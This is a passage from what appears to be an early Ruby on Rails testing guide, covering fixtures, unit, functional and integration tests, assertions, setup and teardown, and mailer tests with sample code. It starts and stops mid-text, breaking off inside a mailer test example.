Testing support was woven into the Rails fabric from the beginning. It wasn’t an "oh! let’s bolt on support for running tests because they’re new and cool" epiphany. Just about every Rails application interacts heavily with a database - and, as a result, your tests will need a database to interact with as well. To write efficient tests, you’ll need to understand how to set up this database and populate it with sample data.

-

2.1. The 3 Environments

-

Every Rails application you build has 3 sides: a side for production, a side for development, and a side for testing.

-

One place you’ll find this distinction is in the config/database.yml file. This YAML configuration file has 3 different sections defining 3 unique database setups:

-
    -
  • -

    -production -

    -
    • -
  • -

    -development -

    -
    • -
  • -

    -test -

    -
    • -
-

This allows you to set up and interact with test data without any danger of your tests altering data from your production environment.

-

For example, suppose you need to test your new delete_this_user_and_every_everything_associated_with_it function. Wouldn’t you want to run this in an environment where it makes no difference if you destroy data or not?

-

When you do end up destroying your testing database (and it will happen, trust me), you can rebuild it from scratch according to the specs defined in the development database. You can do this by running rake db:test:prepare.

-

2.2. Rails Sets up for Testing from the Word Go

-

Rails creates a test folder for you as soon as you create a Rails project using rails application_name. If you list the contents of this folder then you shall see:

-
-
-
$ ls -F test/
-
-fixtures/       functional/     integration/    test_helper.rb  unit/
-

The unit folder is meant to hold tests for your models, the functional folder is meant to hold tests for your controllers, and the integration folder is meant to hold tests that involve any number of controllers interacting. Fixtures are a way of organizing test data; they reside in the fixtures folder. The test_helper.rb file holds the default configuration for your tests.

-

2.3. The Low-Down on Fixtures

-

For good tests, you’ll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.

-

2.3.1. What Are Fixtures?

-

Fixtures is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and assume one of two formats: YAML or CSV. In this guide we will use YAML which is the preferred format.

-

You’ll find fixtures under your test/fixtures directory. When you run script/generate model to create a new model, fixture stubs will be automatically created and placed in this directory.

-

2.3.2. YAML

-

YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the .yml file extension (as in users.yml).

-

Here’s a sample YAML fixture file:

-
-
-
# low & behold!  I am a YAML comment!
-david:
- name: David Heinemeier Hansson
- birthday: 1979-10-15
- profession: Systems development
-
-steve:
- name: Steve Ross Kellock
- birthday: 1974-09-27
- profession: guy with keyboard
-

Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are separated by a blank space. You can place comments in a fixture file by using the # character in the first column.

-

2.3.3. ERb’in It Up

-

ERb allows you embed ruby code within templates. Both the YAML and CSV fixture formats are pre-processed with ERb when you load fixtures. This allows you to use Ruby to help you generate some sample data.

-
-
-
<% earth_size = 20 -%>
-mercury:
-  size: <%= earth_size / 50 %>
-  brightest_on: <%= 113.days.ago.to_s(:db) %>
-
-venus:
-  size: <%= earth_size / 2 %>
-  brightest_on: <%= 67.days.ago.to_s(:db) %>
-
-mars:
-  size: <%= earth_size - 69 %>
-  brightest_on: <%= 13.days.from_now.to_s(:db) %>
-

Anything encased within the

-
-
-
<% %>
-

tag is considered Ruby code. When this fixture is loaded, the size attribute of the three records will be set to 20/50, 20/2, and 20-69 respectively. The brightest_on attribute will also be evaluated and formatted by Rails to be compatible with the database.

-

2.3.4. Fixtures in Action

-

Rails by default automatically loads all fixtures from the test/fixtures folder for your unit and functional test. Loading involves three steps:

-
    -
  • -

    -Remove any existing data from the table corresponding to the fixture -

    -
    • -
  • -

    -Load the fixture data into the table -

    -
    • -
  • -

    -Dump the fixture data into a variable in case you want to access it directly -

    -
    • -
-

2.3.5. Hashes with Special Powers

-

Fixtures are basically Hash objects. As mentioned in point #3 above, you can access the hash object directly because it is automatically setup as a local variable of the test case. For example:

-
-
-
# this will return the Hash for the fixture named david
-users(:david)
-
-# this will return the property for david called id
-users(:david).id
-

Fixtures can also transform themselves into the form of the original class. Thus, you can get at the methods only available to that class.

-
-
-
# using the find method, we grab the "real" david as a User
-david = users(:david).find
-
-# and now we have access to methods only available to a User class
-email(david.girlfriend.email, david.location_tonight)
-
-

3. Unit Testing your Models

-
-

In Rails, unit tests are what you write to test your models.

-

For this guide we will be using Rails scaffolding. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practises. I will be using examples from this generated code and would be supplementing it with additional examples where necessary.

-
- - - -
-Note -For more information on Rails scaffolding, refer to Getting Started with Rails
-
-

When you use script/generate scaffold, for a resource among other things it creates a test stub in the test/unit folder:

-
-
-
$ script/generate scaffold post title:string body:text
-...
-create  app/models/post.rb
-create  test/unit/post_test.rb
-create  test/fixtures/posts.yml
-...
-
-

The default test stub in test/unit/post_test.rb looks like this:

-
-
-
require 'test_helper'
-
-class PostTest < ActiveSupport::TestCase
-  # Replace this with your real tests.
-  def test_truth
-    assert true
-  end
-end
-

A line by line examination of this file will help get you oriented to Rails testing code and terminology.

-
-
-
require 'test_helper'
-

As you know by now that test_helper.rb specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.

-
-
-
class PostTest < ActiveSupport::TestCase
-

The PostTest class defines a test case because it inherits from ActiveSupport::TestCase. PostTest thus has all the methods available from ActiveSupport::TestCase. You’ll see those methods a little later in this guide.

-
-
-
def test_truth
-

Any method defined within a test case that begins with test (case sensitive) is simply called a test. So, test_password, test_valid_password and testValidPassword all are legal test names and are run automatically when the test case is run.

-
-
-
assert true
-

This line of code is called an assertion. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:

-
    -
  • -

    -is this value = that value? -

    -
    • -
  • -

    -is this object nil? -

    -
    • -
  • -

    -does this line of code throw an exception? -

    -
    • -
  • -

    -is the user’s password greater than 5 characters? -

    -
    • -
-

Every test contains one or more assertions. Only when all the assertions are successful the test passes.

-

3.1. Preparing you Application for Testing

-

Before you can run your tests you need to ensure that the test database structure is current. For this you can use the following rake commands:

-
-
-
$ rake db:migrate
-...
-$ rake db:test:load
-

Above rake db:migrate runs any pending migrations on the developemnt environment and updates db/schema.rb. rake db:test:load recreates the test database from the current db/schema.rb. On subsequent attempts it is a good to first run db:test:prepare as it first checks for pending migrations and warns you appropriately.

-
- - - -
-Note -db:test:prepare will fail with an error if db/schema.rb doesn’t exists.
-
-

3.1.1. Rake Tasks for Preparing your Application for Testing

-
- --- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Tasks Description

rake db:test:clone

Recreate the test database from the current environment’s database schema

rake db:test:clone_structure

Recreate the test databases from the development structure

rake db:test:load

Recreate the test database from the current schema.rb

rake db:test:prepare

Check for pending migrations and load the test schema

rake db:test:purge

Empty the test database.

-
-
- - - -
-Tip -You can see all these rake tasks and their descriptions by running rake \-\-tasks \-\-describe
-
-

3.2. Running Tests

-

Running a test is as simple as invoking the file containing the test cases through Ruby:

-
-
-
$ cd test
-$ ruby unit/post_test.rb
-
-Loaded suite unit/post_test
-Started
-.
-Finished in 0.023513 seconds.
-
-1 tests, 1 assertions, 0 failures, 0 errors
-

This will run all the test methods from the test case.

-

You can also run a particular test method from the test case by using the -n switch with the test method name.

-
-
-
$ ruby unit/post_test.rb -n test_truth
-
-Loaded suite unit/post_test
-Started
-.
-Finished in 0.023513 seconds.
-
-1 tests, 1 assertions, 0 failures, 0 errors
-
-

The . (dot) above indicates a passing test. When a test fails you see an F; when a test throws an error you see an E in its place. The last line of the output is the summary.

-

To see how a test failure is reported, you can add a failing test to the post_test.rb test case.

-
-
-
def test_should_not_save_post_without_title
-  post = Post.new
-  assert !post.save
-end
-

Let us run this newly added test.

-
-
-
$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
-Loaded suite unit/post_test
-Started
-F
-Finished in 0.197094 seconds.
-
-  1) Failure:
-test_should_not_save_post_without_title(PostTest)
-    [unit/post_test.rb:11:in `test_should_not_save_post_without_title'
-     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
-     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
-<false> is not true.
-
-1 tests, 1 assertions, 1 failures, 0 errors
-
-

In the output, F denotes a failure. You can see the corresponding trace shown under 1) along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable every assertion provides an optional message parameter, as shown here:

-
-
-
def test_should_not_save_post_without_title
-  post = Post.new
-  assert !post.save, "Saved the post without a title"
-end
-

Running this test shows the friendlier assertion message:

-
-
-
$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
-Loaded suite unit/post_test
-Started
-F
-Finished in 0.198093 seconds.
-
-  1) Failure:
-test_should_not_save_post_without_title(PostTest)
-    [unit/post_test.rb:11:in `test_should_not_save_post_without_title'
-     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
-     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
-Saved the post without a title.
-<false> is not true.
-
-1 tests, 1 assertions, 1 failures, 0 errors
-
-

Now to get this test to pass we can add a model level validation for the title field.

-
-
-
class Post < ActiveRecord::Base
-  validates_presence_of :title
-end
-

Now the test should pass. Let us verify by running the test again:

-
-
-
$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
-Loaded suite unit/post_test
-Started
-.
-Finished in 0.193608 seconds.
-
-1 tests, 1 assertions, 0 failures, 0 errors
-
-

Now if you noticed we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as Test-Driven Development (TDD).

-
- - - -
-Tip -Many Rails developers practice Test-Driven Development (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with 15 TDD steps to create a Rails application.
-
-

To see how an error gets reported, here’s a test containing an error:

-
-
-
def test_should_report_error
-  # some_undefined_variable is not defined elsewhere in the test case
-  some_undefined_variable
-  assert true
-end
-

Now you can see even more output in the console from running the tests:

-
-
-
$ ruby unit/post_test.rb -n test_should_report_error
-Loaded suite unit/post_test
-Started
-E
-Finished in 0.195757 seconds.
-
-  1) Error:
-test_should_report_error(PostTest):
-NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x2cc9de8>
-    /opt/local/lib/ruby/gems/1.8/gems/actionpack-2.1.1/lib/action_controller/test_process.rb:467:in `method_missing'
-    unit/post_test.rb:16:in `test_should_report_error'
-    /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
-    /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run'
-
-1 tests, 0 assertions, 0 failures, 1 errors
-
-

Notice the E in the output. It denotes a test with error.

-
- - - -
-Note -The execution of each test method stops as soon as any error or a assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.
-
-

3.3. What to Include in Your Unit Tests

-

Ideally you would like to include a test for everything which could possibly break. It’s a good practice to have at least one test for each of your validations and at least one test for every method in your model.

-

3.4. Assertions Available

-

By now you’ve caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.

-

There are a bunch of different types of assertions you can use. Here’s the complete list of assertions that ship with test/unit, the testing library used by Rails. The [msg] parameter is an optional string message you can specify to make your test failure messages clearer. It’s not required.

-
- --- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Assertion Purpose

assert( boolean, [msg] )

Ensures that the object/expression is true.

assert_equal( obj1, obj2, [msg] )

Ensures that obj1 == obj2 is true.

assert_not_equal( obj1, obj2, [msg] )

Ensures that obj1 == obj2 is false.

assert_same( obj1, obj2, [msg] )

Ensures that obj1.equal?(obj2) is true.

assert_not_same( obj1, obj2, [msg] )

Ensures that obj1.equal?(obj2) is false.

assert_nil( obj, [msg] )

Ensures that obj.nil? is true.

assert_not_nil( obj, [msg] )

Ensures that obj.nil? is false.

assert_match( regexp, string, [msg] )

Ensures that a string matches the regular expression.

assert_no_match( regexp, string, [msg] )

Ensures that a string doesn’t matches the regular expression.

assert_in_delta( expecting, actual, delta, [msg] )

Ensures that the numbers expecting and actual are within delta of each other.

assert_throws( symbol, [msg] ) { block }

Ensures that the given block throws the symbol.

assert_raises( exception1, exception2, ... ) { block }

Ensures that the given block raises one of the given exceptions.

assert_nothing_raised( exception1, exception2, ... ) { block }

Ensures that the given block doesn’t raise one of the given exceptions.

assert_instance_of( class, obj, [msg] )

Ensures that obj is of the class type.

assert_kind_of( class, obj, [msg] )

Ensures that obj is or descends from class.

assert_respond_to( obj, symbol, [msg] )

Ensures that obj has a method called symbol.

assert_operator( obj1, operator, obj2, [msg] )

Ensures that obj1.operator(obj2) is true.

assert_send( array, [msg] )

Ensures that executing the method listed in array[1] on the object in array[0] with the parameters of array[2 and up] is true. This one is weird eh?

flunk( [msg] )

Ensures failure. This is useful to explicitly mark a test that isn’t finished yet.

-
-

Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that’s exactly what Rails does. It includes some specialized assertions to make your life easier.

-
- - - -
-Note -Creating your own assertions is an advanced topic that we won’t cover in this tutorial.
-
-

3.5. Rails Specific Assertions

-

Rails adds some custom assertions of its own to the test/unit framework:

-
- --- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Assertion Purpose

assert_valid(record)

Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.

assert_difference(expressions, difference = 1, message = nil) {...}

Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.

assert_no_difference(expressions, message = nil, &block)

Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.

assert_recognizes(expected_options, path, extras={}, message=nil)

Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.

assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)

Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.

assert_response(type, message = nil)

Asserts that the response comes with a specific status code. You can specify :success to indicate 200, :redirect to indicate 300-399, :missing to indicate 404, or :error to match the 500-599 range

assert_redirected_to(options = {}, message=nil)

Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that assert_redirected_to(:controller => "weblog") will also match the redirection of redirect_to(:controller => "weblog", :action => "show") and so on.

assert_template(expected = nil, message=nil)

Asserts that the request was rendered with the appropriate template file.

-
-

You’ll see the usage of some of these assertions in the next chapter.

-
-

4. Functional Tests for Your Controllers

-
-

In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.

-

4.1. What to include in your Functional Tests

-

You should test for things such as:

-
    -
  • -

    -was the web request successful? -

    -
    • -
  • -

    -was the user redirected to the right page? -

    -
    • -
  • -

    -was the user successfully authenticated? -

    -
    • -
  • -

    -was the correct object stored in the response template? -

    -
    • -
  • -

    -was the appropriate message displayed to the user in the view -

    -
    • -
-

Now that we have used Rails scaffold generator for our Post resource, it has already created the controller code and functional tests. You can take look at the file posts_controller_test.rb in the test/functional directory.

-

Let me take you through one such test, test_should_get_index from the file posts_controller_test.rb.

-
-
-
def test_should_get_index
-  get :index
-  assert_response :success
-  assert_not_nil assigns(:posts)
-end
-

In the test_should_get_index test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that it assigns a valid posts instance variable.

-

The get method kicks off the web request and populates the results into the response. It accepts 4 arguments:

-
    -
  • -

    -The action of the controller you are requesting. This can be in the form of a string or a symbol. -

    -
    • -
  • -

    -An optional hash of request parameters to pass into the action (eg. query string parameters or post variables). -

    -
    • -
  • -

    -An optional hash of session variables to pass along with the request. -

    -
    • -
  • -

    -An optional hash of flash values. -

    -
    • -
-

Example: Calling the :show action, passing an id of 12 as the params and setting a user_id of 5 in the session:

-
-
-
get(:show, {'id' => "12"}, {'user_id' => 5})
-

Another example: Calling the :view action, passing an id of 12 as the params, this time with no session, but with a flash message.

-
-
-
get(:view, {'id' => '12'}, nil, {'message' => 'booya!'})
-
- - - -
-Note -If you try running test_should_create_post test from posts_controller_test.rb it will fail on account of the newly added model level validation and rightly so.
-
-

Let us modify test_should_create_post test in posts_controller_test.rb so that all our test pass:

-
-
-
def test_should_create_post
-  assert_difference('Post.count') do
-    post :create, :post => { :title => 'Some title'}
-  end
-
-  assert_redirected_to post_path(assigns(:post))
-end
-

Now you can try running all the tests and they should pass.

-

4.2. Available Request Types for Functional Tests

-

If you’re familiar with the HTTP protocol, you’ll know that get is a type of request. There are 5 request types supported in Rails functional tests:

-
    -
  • -

    -get -

    -
    • -
  • -

    -post -

    -
    • -
  • -

    -put -

    -
    • -
  • -

    -head -

    -
    • -
  • -

    -delete -

    -
    • -
-

All of request types are methods that you can use, however, you’ll probably end up using the first two more often than the others.

-

4.3. The 4 Hashes of the Apocalypse

-

After a request has been made by using one of the 5 methods (get, post, etc.) and processed, you will have 4 Hash objects ready for use:

-
    -
  • -

    -assigns - Any objects that are stored as instance variables in actions for use in views. -

    -
    • -
  • -

    -cookies - Any cookies that are set. -

    -
    • -
  • -

    -flash - Any objects living in the flash. -

    -
    • -
  • -

    -session - Any object living in session variables. -

    -
    • -
-

As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for assigns. For example:

-
-
-
  flash["gordon"]               flash[:gordon]
-  session["shmession"]          session[:shmession]
-  cookies["are_good_for_u"]     cookies[:are_good_for_u]
-
-# Because you can't use assigns[:something] for historical reasons:
-  assigns["something"]          assigns(:something)
-

4.4. Instance Variables Available

-

You also have access to three instance variables in your functional tests:

-
    -
  • -

    -@controller - The controller processing the request -

    -
    • -
  • -

    -@request - The request -

    -
    • -
  • -

    -@response - The response -

    -
    • -
-

4.5. A Fuller Functional Test Example

-

Here’s another example that uses flash, assert_redirected_to, and assert_difference:

-
-
-
def test_should_create_post
-  assert_difference('Post.count') do
-    post :create, :post => { :title => 'Hi', :body => 'This is my first post.'}
-  end
-  assert_redirected_to post_path(assigns(:post))
-  assert_equal 'Post was successfully created.', flash[:notice]
-end
-

4.6. Testing Views

-

Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The assert_select assertion allows you to do this by using a simple yet powerful syntax.

-
- - - -
-Note -You may find references to assert_tag in other documentation, but this is now deprecated in favor of assert_select.
-
-

There are two forms of assert_select:

-

assert_select(selector, [equality], [message])` ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an HTML::Selector object.

-

assert_select(element, selector, [equality], [message]) ensures that the equality condition is met on all the selected elements through the selector starting from the element (instance of HTML::Node) and its descendants.

-

For example, you could verify the contents on the title element in your response with:

-
-
-
assert_select 'title', "Welcome to Rails Testing Guide"
-

You can also use nested assert_select blocks. In this case the inner assert_select runs the assertion on the complete collection of elements selected by the outer assert_select block:

-
-
-
assert_select 'ul.navigation' do
-  assert_select 'li.menu_item'
-end
-

Alternatively the collection of elements selected by the outer assert_select may be iterated through so that assert_select may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass.

-
-
-
assert_select "ol" do |elements|
-  elements.each do |element|
-    assert_select element, "li", 4
-  end
-end
-
-assert_select "ol" do
-  assert_select "li", 8
-end
-

The assert_select assertion is quite powerful. For more advanced usage, refer to its documentation.

-

4.6.1. Additional View-based Assertions

-

There are more assertions that are primarily used in testing views:

-
- --- - - - - - - - - - - - - - - - - - - - - - - - -
Assertion Purpose

assert_select_email

Allows you to make assertions on the body of an e-mail.

assert_select_rjs

Allows you to make assertions on RJS response. assert_select_rjs has variants which allow you to narrow down on the updated element or even a particular operation on an element.

assert_select_encoded

Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.

css_select(selector) or css_select(element, selector)

Returns an array of all the elements selected by the selector. In the second variant it first matches the base element and tries to match the selector expression on any of its children. If there are no matches both variants return an empty array.

-
-

Here’s an example of using assert_select_email:

-
-
-
assert_select_email do
-  assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.'
-end
-
-

5. Integration Testing

-
-

Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.

-

Unlike Unit and Functional tests, integration tests have to be explicitly created under the test/integration folder within your application. Rails provides a generator to create an integration test skeleton for you.

-
-
-
$ script/generate integration_test user_flows
-      exists  test/integration/
-      create  test/integration/user_flows_test.rb
-

Here’s what a freshly-generated integration test looks like:

-
-
-
require 'test_helper'
-
-class UserFlowsTest < ActionController::IntegrationTest
-  # fixtures :your, :models
-
-  # Replace this with your real tests.
-  def test_truth
-    assert true
-  end
-end
-

Integration tests inherit from ActionController::IntegrationTest. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.

-

5.1. Helpers Available for Integration tests

-

In addition to the standard testing helpers, there are some additional helpers available to integration tests:

-
- --- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Helper Purpose

https?

Returns true if the session is mimicking a secure HTTPS request.

https!

Allows you to mimic a secure HTTPS request.

host!

Allows you to set the host name to use in the next request.

redirect?

Returns true if the last request was a redirect.

follow_redirect!

Follows a single redirect response.

request_via_redirect(http_method, path, [parameters], [headers])

Allows you to make an HTTP request and follow any subsequent redirects.

post_via_redirect(path, [parameters], [headers])

Allows you to make an HTTP POST request and follow any subsequent redirects.

get_via_redirect(path, [parameters], [headers])

Allows you to make an HTTP GET request and follow any subsequent redirects.

put_via_redirect(path, [parameters], [headers])

Allows you to make an HTTP PUT request and follow any subsequent redirects.

delete_via_redirect(path, [parameters], [headers])

Allows you to make an HTTP DELETE request and follow any subsequent redirects.

open_session

Opens a new session instance.

-
-

5.2. Integration Testing Examples

-

A simple integration test that exercises multiple controllers:

-
-
-
require 'test_helper'
-
-class UserFlowsTest < ActionController::IntegrationTest
-  fixtures :users
-
-  def test_login_and_browse_site
-    # login via https
-    https!
-    get "/login"
-    assert_response :success
-
-    post_via_redirect "/login", :username => users(:avs).username, :password => users(:avs).password
-    assert_equal '/welcome', path
-    assert_equal 'Welcome avs!', flash[:notice]
-
-    https!(false)
-    get "/posts/all"
-    assert_response :success
-    assert assigns(:products)
-  end
-end
-

As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.

-

Here’s an example of multiple sessions and custom DSL in an integration test

-
-
-
require 'test_helper'
-
-class UserFlowsTest < ActionController::IntegrationTest
-  fixtures :users
-
-  def test_login_and_browse_site
-
-    # User avs logs in
-    avs = login(:avs)
-    # User guest logs in
-    guest = login(:guest)
-
-    # Both are now available in different sessions
-    assert_equal 'Welcome avs!', avs.flash[:notice]
-    assert_equal 'Welcome guest!', guest.flash[:notice]
-
-    # User avs can browse site
-    avs.browses_site
-    # User guest can browse site aswell
-    guest.browses_site
-
-    # Continue with other assertions
-  end
-
-  private
-
-    module CustomDsl
-      def browses_site
-        get "/products/all"
-        assert_response :success
-        assert assigns(:products)
-      end
-    end
-
-    def login(user)
-      open_session do |sess|
-        sess.extend(CustomDsl)
-        u = users(user)
-        sess.https!
-        sess.post "/login", :username => u.username, :password => u.password
-        assert_equal '/welcome', path
-        sess.https!(false)
-      end
-    end
-end
-
-

6. Rake Tasks for Running your Tests

-
-

You don’t need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rail project.

-
- --- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Tasks Description

rake test

Runs all unit, functional and integration tests. You can also simply run rake as the test target is the default.

rake test:units

Runs all the unit tests from test/unit

rake test:functionals

Runs all the functional tests from test/functional

rake test:integration

Runs all the integration tests from test/integration

rake test:recent

Tests recent changes

rake test:uncommitted

Runs all the tests which are uncommitted. Only supports Subversion

rake test:plugins

Run all the plugin tests from vendor/plugins//*/test (or specify with PLUGIN=name)

-
-
-

7. Brief Note About Test::Unit

-
-

Ruby ships with a boat load of libraries. One little gem of a library is Test::Unit, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in Test::Unit::Assertions. The class ActiveSupport::TestCase which we have been using in our unit and functional tests extends Test::Unit::TestCase that it is how we can use all the basic assertions in our tests.

-
- - - -
-Note -For more information on Test::Unit, refer to test/unit Documentation
-
-
-

8. Setup and Teardown

-
-

If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let’s take note of this by looking at an example for our functional test in Posts controller:

-
-
-
require 'test_helper'
-
-class PostsControllerTest < ActionController::TestCase
-
-  # called before every single test
-  def setup
-    @post = posts(:one)
-  end
-
-  # called after every single test
-  def teardown
-    # as we are re-initializing @post before every test
-    # setting it to nil here is not essential but I hope
-    # you understand how you can use the teardown method
-    @post = nil
-  end
-
-  def test_should_show_post
-    get :show, :id => @post.id
-    assert_response :success
-  end
-
-  def test_should_destroy_post
-    assert_difference('Post.count', -1) do
-      delete :destroy, :id => @post.id
-    end
-
-    assert_redirected_to posts_path
-  end
-
-end
-

Above, the setup method is called before each test and so @post is available for each of the tests. Rails implements setup and teardown as ActiveSupport::Callbacks. Which essentially means you need not only use setup and teardown as methods in your tests. You could specify them by using:

-
    -
  • -

    -a block -

    -
    • -
  • -

    -a method (like in the earlier example) -

    -
    • -
  • -

    -a method name as a symbol -

    -
    • -
  • -

    -a lambda -

    -
    • -
-

Let’s see the earlier example by specifying setup callback by specifying a method name as a symbol:

-
-
-
require '../test_helper'
-
-class PostsControllerTest < ActionController::TestCase
-
-  # called before every single test
-  setup :initialize_post
-
-  # called after every single test
-  def teardown
-    @post = nil
-  end
-
-  def test_should_show_post
-    get :show, :id => @post.id
-    assert_response :success
-  end
-
-  def test_should_update_post
-    put :update, :id => @post.id, :post => { }
-    assert_redirected_to post_path(assigns(:post))
-  end
-
-  def test_should_destroy_post
-    assert_difference('Post.count', -1) do
-      delete :destroy, :id => @post.id
-    end
-
-    assert_redirected_to posts_path
-  end
-
-  private
-
-  def initialize_post
-    @post = posts(:one)
-  end
-
-end
-
-

9. Testing Routes

-
-

Like everything else in you Rails application, it’s recommended to test you routes. An example test for a route in the default show action of Posts controller above should look like:

-
-
-
def test_should_route_to_post
-  assert_routing '/posts/1', { :controller => "posts", :action => "show", :id => "1" }
-end
-
-

10. Testing Your Mailers

-
-

Testing mailer classes requires some specific tools to do a thorough job.

-

10.1. Keeping the Postman in Check

-

Your ActionMailer classes — like every other part of your Rails application — should be tested to ensure that it is working as expected.

-

The goals of testing your ActionMailer classes are to ensure that:

-
    -
  • -

    -emails are being processed (created and sent) -

    -
    • -
  • -

    -the email content is correct (subject, sender, body, etc) -

    -
    • -
  • -

    -the right emails are being sent at the right times -

    -
    • -
-

10.1.1. From All Sides

-

There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a knownvalue (a fixture — yay! more fixtures!). In the functional tests you don’t so much test the minute details produced by the mailer Instead we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.

-

10.2. Unit Testing

-

In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.

-

10.2.1. Revenge of the Fixtures

-

For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output should look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within test/fixtures directly corresponds to the name of the mailer. So, for a mailer named UserMailer, the fixtures should reside in test/fixtures/user_mailer directory.

-

When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn’t use the generator you’ll have to make those files yourself.

-

10.2.2. The Basic Test case

-

Here’s a unit test to test a mailer named UserMailer whose action invite is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an invite action.

-
-
-
require 'test_helper'
-
-class UserMailerTest < ActionMailer::TestCase
-  tests UserMailer
-  def test_invite
-    @expected.from    = 'me@example.com'
-    @expected.to      = 'friend@example.com'
-    @expected.subject = "You have been invited by #{@expected.from}"
-    @expected.body    = read_fixture('invite')
-    @expected.date    = Time.now
-
-    assert_equal @expected.encoded, UserMailer.create_invite('me@example.com', 'friend@example.com', @expected.date).encoded
-  end
-
-end
-

In this test, @expected is an instance of TMail::Mail that you can use in your tests. It is defined in ActionMailer::TestCase. The test above uses @expected to construct an email, which it then asserts with email created by the custom mailer. The invite fixture is the body of the email and is used as the sample content to assert against. The helper read_fixture is used to read in the content from this file.

-

Here’s the content of the invite fixture:

-
-
-
Hi friend@example.com,
-
-You have been invited.
-
-Cheers!
-
-

This is the right time to understand a little more about writing tests for your mailers. The line ActionMailer::Base.delivery_method = :test in config/environments/test.rb sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (ActionMailer::Base.deliveries).

-

However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.

-

10.3. Functional Testing

-

Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job You are probably more interested in is whether your own business logic is sending emails when you expect them to got out. For example, you can check that the invite friend operation is sending an email appropriately:

-
-
-
require 'test_helper'
-
-class UserControllerTest < ActionController::TestCase
-  def test_invite_friend
-    assert_difference 'ActionMailer::Base.deliveries.size', +1 do
-      post :invite_friend, :email => 'friend@example.com'
-    end
-    invite_email = ActionMailer::Base.deliveries.first
-
